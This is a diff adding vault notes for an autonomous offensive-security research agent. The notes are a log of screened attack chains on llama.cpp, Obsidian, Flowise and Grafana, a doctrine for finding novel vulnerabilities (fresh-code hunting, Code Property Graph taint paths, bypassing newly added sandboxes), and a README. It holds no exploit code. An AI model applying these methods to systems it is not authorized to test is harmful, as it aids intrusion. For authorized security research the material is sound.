| + | | 2026-06-11 | llama.cpp @a1b2c3d | ml-model-loaders | gguf_init_from_file KV-array length → memcpy heap overflow | DISPROVEN | AFL++ 8h + ASan; 3 crashes, all null-deref DoS | length validated against file size at gguf.c:412 before alloc | if a new KV array type is added | | |
| + | | 2026-06-11 | Obsidian v1.x (asar) | electron-desktop | markdown render XSS → contextBridge → child_process | DISPROVEN | crafted note in disposable VM, no callback | contextIsolation on; bridge exposes no fs/exec method | if a plugin widens the bridge | | |
| + | | 2026-06-11 | Flowise @e4f5g6h | ai-agent-mcp | /api/v1 unauth route → code node RCE | SIBLING-CVE | replicated public auth-bypass | matches CVE-2024-xxxxx, already fixed upstream | none | | |
| + | | 2026-06-11 | Grafana v11.x | devops-infra | datasource proxy SSRF → IMDS | HARDENING-NOTE | SSRF callback fired, IMDS blocked | reaches outbound but metadata egress filtered; bare SSRF below gate | if deployed without egress filtering | | |
| + | ``` | |
| + | ||
| + | --- | |
| + | ||
| + | ## Usage rules | |
| + | ||
| + | - **Append before you rotate.** You may not move to the next archetype until the cleared axes of the | |
| + | current one are logged. The rotation requirement is enforced by this log existing. | |
| + | - **Check before you screen.** At the start of any (target, archetype) pass, read existing entries for | |
| + | that target - if the axis is already DISPROVEN/SIBLING and `revisit` hasn't fired, skip it. | |
| + | - **Pin versions.** A clear is only valid for the pinned commit; new code reopens the surface (that's | |
| + | [[../06-methods/NOVELTY-DOCTRINE#lever-1-hunt-freshly-released-code-the-time-arbitrage|Lever 1]]). | |
| + | - **Hardening notes die here.** Resist the pull to "at least report the IDOR." The gate says no; the | |
| + | log is where it goes. |
| @@ -0,0 +1,113 @@ | ||
| + | # NOVELTY-DOCTRINE - How v2 Avoids Being Beaten to the Punch | |
| + | ||
| + | v1's deepest failure was not low severity - it was **non-novelty**. Every "find" was a *sibling-CVE*: | |
| + | a variant of an already-public bug, discovered by pattern-matching the shape of known CVEs onto new | |
| + | code. By construction, that approach can only ever rediscover known bug *classes* in known *places*. | |
| + | This document is the discipline that makes v2 find **new** bugs. | |
| + | ||
| + | Related: [[../00-doctrine/OPERATING-CORE]] · [[../00-doctrine/SEVERITY-GATE]] · [[../04-cleared-axes/README|cleared-axes log]] | |
| + | ||
| + | --- | |
| + | ||
| + | ## The three levers of novelty | |
| + | ||
| + | ### Lever 1 - Hunt freshly-released code (the time-arbitrage) | |
| + | ||
| + | Public researchers, OSS-Fuzz, and CodeQL's default queries have already swept yesterday's code. The | |
| + | edge is **code that is days old**: a feature merged last week, a new format extension, a fresh release, | |
| + | a brand-new project from the AI gold-rush. New code is **unfuzzed, unaudited, and un-CVE'd**. | |
| + | ||
| + | Concrete sourcing: | |
| + | - Watch the **commit/PR/release feed** of in-scope/owned projects. Target diffs that touch a | |
| + | [[../00-doctrine/SEVERITY-GATE|gate]]-relevant sink: a new parser path, a new `ipcMain` handler, a | |
| + | new tool, a new `run:` step, a new deserialization route. | |
| + | - Prefer projects in their **first year** - the [[../01-archetypes/ai-agent-mcp|AI-agent]] and | |
| + | [[../01-archetypes/ml-model-loaders|model-loader]] ecosystems are months old; their defenses are | |
| + | immature and their parsers unfuzzed. | |
| + | - **Re-run existing fuzz harnesses on the new commit.** OSS-Fuzz fuzzed the *old* tree. A new format | |
| + | feature is new attack surface the corpus has never reached - point a coverage-guided fuzzer at it. | |
| + | - Diff-driven: when a project lands a "safe mode" / allowlist / sandbox (e.g. PyTorch `weights_only`, | |
| + | the HF chat-template sandbox, a new SSRF allowlist), that *defense* is the newest, least-tested code | |
| + | in the repo. Hunt the bypass of the fresh defense. | |
| + | ||
| + | ### Lever 2 - Use the CPG to find UNEXPLORED source→sink paths | |
| + | ||
| + | This is the mechanical heart of v2 and the direct antidote to pattern-matching. Instead of asking | |
| + | *"does this code look like CVE-X?"* (which only finds siblings), ask the **Code Property Graph**: | |
| + | *"what attacker-reachable sources flow to a dangerous sink - by any path, including ones nobody named?"* | |
| + | ||
| + | Method (Joern / `joern_query`, plus `codeql_query`, `semgrep_scan` as cheaper pre-filters): | |
| + | 1. **Define sinks from the gate, not from CVEs.** Enumerate the dangerous sinks for the archetype | |
| + | (e.g. `child_process.exec`, `pickle.find_class`, `memcpy`, `gguf` size-math, `ipcMain` OS calls, | |
| + | `${{ github.event }}`→`run:`). These come from the [[../01-archetypes/electron-desktop|archetype]] | |
| + | boundary maps, not from a CVE list. | |
| + | 2. **Define sources as trust-boundary inputs.** The crossings in the archetype boundary map (the model | |
| + | file, the IPC arg, the PR title, the fetched URL, the tool arg). | |
| + | 3. **Query for reachability between them** - `cpg.method(src).reachableBy(...)` / taint flows. The CPG | |
| + | surfaces *every* path, including the long, weird, multi-hop ones a human (and a pattern-matcher) | |
| + | would never enumerate. **Those long unexplored paths are where novelty lives** - the obvious | |
| + | one-hop path is the one already CVE'd. | |
| + | 4. **Rank by "has anyone looked here?"** Prefer paths through recently-added code (Lever 1), through | |
| + | error/edge handlers, through a second format/port, through a defense's bypass. Deprioritize the | |
| + | textbook path. | |
| + | 5. **Confirm the guard is actually absent/bypassable** on the chosen path - then it's | |
| + | SOURCE_CONFIRMED and goes to the oracle. The CPG finds the path; only the | |
| + | [[../00-doctrine/OPERATING-CORE#2-the-only-proof-is-an-execution-artifact|dynamic oracle]] confirms | |
| + | the bug. | |
| + | ||
| + | The mental shift: v1 used the LLM as the *detector* (pattern-match → "this is a bug"). v2 uses the | |
| + | **CPG as the detector** (dataflow → "this path is reachable") and the **oracle as the judge** (artifact | |
| + | → "this path is exploitable"). The LLM only *generates hypotheses and writes harnesses*. It never | |
| + | declares a bug, and it never declares novelty. | |
| + | ||
| + | ### Lever 3 - Bug-class transplant onto an unhunted surface | |
| + | ||
| + | A *known bug class* in a *place no one has applied it* is novel. Take a mature class (integer-overflow | |
| + | heap overflow, pickle `__reduce__`, SSRF→IMDS, workflow-injection) and apply it to a surface the class | |
| + | hasn't been pointed at yet - e.g. the GGUF metadata parser, a new MCP server, a freshly-ported | |
| + | safetensors reader, a brand-new agent's code tool. The *class* is old; the *instance and location* are | |
| + | new. This is legitimately novel and is distinct from finding a variant of a specific public CVE in the | |
| + | same project (that's a sibling). | |
| + | ||
| + | --- | |
| + | ||
| + | ## The sibling-CVE gate: novel vs. variant (run BEFORE deep work) | |
| + | ||
| + | Before investing oracle time in a SOURCE_CONFIRMED candidate, **check it against the CVE/advisory feed**. | |
| + | This is cheap and saves you from weaponizing a known bug. | |
| + | ||
| + | Procedure: | |
| + | 1. **Query the feed** for the project + the bug class + the sink (`cve_lookup`, `search_cves`, | |
| + | `cve_semantic_search`, `variant_search_cve`, `advisory_search`). Also check GitHub Security | |
| + | Advisories, the project's own changelog/security page, and recent commit messages ("fix overflow", | |
| + | "security", "sanitize"). | |
| + | 2. **Classify the candidate:** | |
| + | ||
| + | | | Already-public bug | Same class, **new** location/instance | | |
| + | |---|---|---| | |
| + | | Same project, same file/function, same root cause as a known CVE | **SIBLING - do not report.** | - | | |
| + | | Same class but a *different* field/route/file, or a different project, or a re-implementation/port | - | **NOVEL - proceed.** | | |
| + | | The bug is in *new code* (post-dates the latest relevant CVE) | - | **NOVEL - proceed.** | | |
| + | ||
| + | 3. **Document the novelty delta.** Every candidate that proceeds carries a one-paragraph "why this is | |
| + | new": which CVE(s) it is adjacent to, and the specific reason this instance is *not* covered by them | |
| + | (different sink field, unfuzzed new code, a port that dropped the fix, a bypass of the patch that | |
| + | "fixed" the sibling). If you cannot articulate the delta, it is a sibling - stop. | |
| + | 4. **Patch-bypass is novel.** If a project "fixed" a CVE but the fix is incomplete (the classic | |
| + | incomplete-patch), demonstrating the bypass *is* a novel finding - document it as a bypass of the | |
| + | specific fix commit. | |
| + | ||
| + | > The novelty check is a **pre-filter, run before the oracle**, not an after-the-fact justification. | |
| + | > v1 weaponized first and rationalized novelty later. v2 proves novelty is plausible *before* spending | |
| + | > the expensive oracle budget, then proves exploitability with the artifact. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Anti-drift tie-in | |
| + | ||
| + | Novelty and anti-drift reinforce each other. The | |
| + | [[../04-cleared-axes/README|cleared-axes log]] records every (target, archetype, axis) already | |
| + | screened - so the agent never re-hunts ground it (or the public) has already cleared. Combined with the | |
| + | [[../00-doctrine/OPERATING-CORE#4-the-anti-drift-rule-log-cleared-axes-rotate-archetypes|archetype-rotation rule]], | |
| + | this forces the search toward *fresh* code and *unexplored* paths every iteration, which is exactly | |
| + | where novel high-severity bugs are. |
| @@ -0,0 +1,46 @@ | ||
| + | # Cyclops v2 - Knowledge Core | |
| + | ||
| + | This is the binding knowledge vault for **Cyclops v2**, a ground-up rebuild of an autonomous | |
| + | offensive-security research agent. Open it as an Obsidian vault (the `.obsidian/` folder is here). | |
| + | ||
| + | ## Why v2 exists | |
| + | ||
| + | Cyclops v1 was a **code-reader**, not an **exploit-runner**. It found bugs by reading source and | |
| + | pattern-matching known shapes. The consequences were structural, not incidental: | |
| + | ||
| + | - It drifted to the same low-severity classes forever (IDOR / broken access control / blind SSRF). | |
| + | - It got tunnel-vision on one target and never rotated its angle of attack. | |
| + | - It never *proved* RCE / shell / account-takeover - it asserted reachability and called it a day. | |
| + | - It only ever found **sibling-CVEs** (variants of already-public bugs), never novel ones. | |
| + | - The output read like hackathon offsec slop: confident, plausible, unproven. | |
| + | ||
| + | ## The v2 thesis (the three pillars) | |
| + | ||
| + | Novel, high-severity bugs come from the intersection of: | |
| + | ||
| + | 1. **The right target archetypes** - hunt where load-time RCE and trust-boundary confusion *live*, | |
| + | not where CRUD apps leak object IDs. See [[01-archetypes/electron-desktop|archetypes]]. | |
| + | 2. **Code Property Graph dataflow** - use [[06-methods/NOVELTY-DOCTRINE|CPG/Joern]] to find | |
| + | *reachable sinks nobody has looked at*, instead of grepping for known-CVE shapes. | |
| + | 3. **A dynamic oracle** - only an ASan crash, a popped shell, or a retrieved secret may declare a | |
| + | finding. An LLM's opinion is never proof. See [[00-doctrine/OPERATING-CORE|the operating core]]. | |
| + | ||
| + | ## Map of the vault | |
| + | ||
| + | - [[00-doctrine/OPERATING-CORE]] - the binding charter (authorization, proof labels, anti-drift). | |
| + | - [[00-doctrine/SEVERITY-GATE]] - the hard gate; what counts as a "holy-shit" finding and the exact oracle per family. | |
| + | - `01-archetypes/` - one hunting playbook per target archetype: | |
| + | - [[01-archetypes/ml-model-loaders]] **(headline archetype - most depth)** | |
| + | - [[01-archetypes/electron-desktop]] | |
| + | - [[01-archetypes/ai-agent-mcp]] | |
| + | - [[01-archetypes/devops-infra]] | |
| + | - [[01-archetypes/cicd-supplychain]] | |
| + | - [[01-archetypes/memory-unsafe-parsers]] | |
| + | - [[06-methods/NOVELTY-DOCTRINE]] - how to avoid being beaten to the punch; sibling-CVE discipline. | |
| + | - [[04-cleared-axes/README|04-cleared-axes]] - the anti-tunnel-vision memory (what we've already screened). | |
| + | ||
| + | ## The one-line spine | |
| + | ||
| + | > Hunt the right archetypes → use the CPG to find an unexplored source→sink path → drive it with a | |
| + | > dynamic oracle until you have an **execution artifact** on the path to a [[00-doctrine/SEVERITY-GATE|gate]] | |
| + | > family - or you log it **DISPROVEN** and rotate. No artifact, no report. |